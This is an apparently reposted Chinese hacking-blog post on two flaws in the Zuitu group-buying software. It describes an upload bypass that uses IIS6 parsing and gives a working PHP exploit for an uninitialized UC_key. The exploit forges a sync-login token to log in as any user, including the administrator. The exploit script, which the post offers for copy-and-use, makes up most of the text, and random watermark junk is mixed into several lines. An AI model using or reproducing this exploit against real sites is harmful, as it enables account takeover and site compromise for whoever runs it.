最土团购的一些漏洞

2011, July 25, 4:51 PM. oday收藏
Submitted by admin

东西压了一年了  现在很多人都有了  听说前两天还有个黑客因为搞这个被河蟹了。。
- - 默哀 看看就好了。。
Security5 ]% ]% j2 H2 X* W! R4 B3 y  s$ {
第一个是上传漏洞   此漏洞在6月份出的新版本中已经得到修复 - 低调求发展! }7 O: B0 _* W$ F: Z) a
最土自己写了upload_image上传函数  本身挺安全的Security4 o$ w1 l2 G! e: J2 X( d
但是upload.php没有用这个函数www.t00ls.net8 s- g, y& d# N  h
第25行
$upext='txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid';
复制代码
第65行
                $fileinfo=pathinfo($upfile['name']);
                $extension=strtolower($fileinfo['extension']);
                if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))
                {
                        $filesize=$upfile['size'];
                        if($filesize > $maxattachsize)$err='文件大小超过'.$maxattachsize.'字节';
                        else
                        {
                                $year = date('Y');
                                $day = date('md');
                                $n = time().rand(1000,9999).'.jpg';
                                $attach_dir = IMG_ROOT . "/team/{$year}/{$day}";
                                RecursiveMkdir( IMG_ROOT . "/team/{$year}/{$day}" );
                                $fname= time().rand(1000,9999).'.'.$extension;
                                $target = $attach_dir.'/'.$fname;
                                if ( is_resource($upfile['tmp_name']) ) {
                                        $data = fread($upfile['tmp_name'], $filesize);
                                        file_put_contents($target, $data);
                                        fclose($upfile['tmp_name']);
复制代码
//正则匹配用户提交文件的后缀   只要包含白名单就OKwww.t00ls.net  {) T- t. [8 ~
最后保存的文件后缀是以用户提交为准而不是$n   利用iis6文件解析的特性 导致漏洞产生
- 低调求发展. ~6 N2 K3 x3 j# y
第二个是UC_key未初始化漏洞   此类漏洞在很多小程序里都有www.t00ls.net5 L. f9 |) Y/ d8 n( }
由于UCkey未初始化导致访问者可以随意调用uc接口的各种函数
其中包括自动登陆   修改密码
这里给个任意用户登陆的POC
<?php
print_r('
---------------------------------------
Zuitu UC_key Uninitialized Vul Exploit
By xZL
Team: www.0kee.com
2010.10.01
---------------------------------------
');
if ($argc < 2) {
print_r('
Usage: php '.$argv[0].' username
username: the admin username
Example: php '.$argv[0].' admin
');
die();
}

error_reporting(0);

$username = $argv[1];
$key = '';

$code = 'time=11111111111&username='.$username.'&action=synlogin';
$x = urlencode(authcode($code, "ENCODE", $key));
print_r('Plz copy this code~~ enjoy it~~ ^_^

/api/uc.php?code='.$x);

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

Tags: 最土, 团购

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):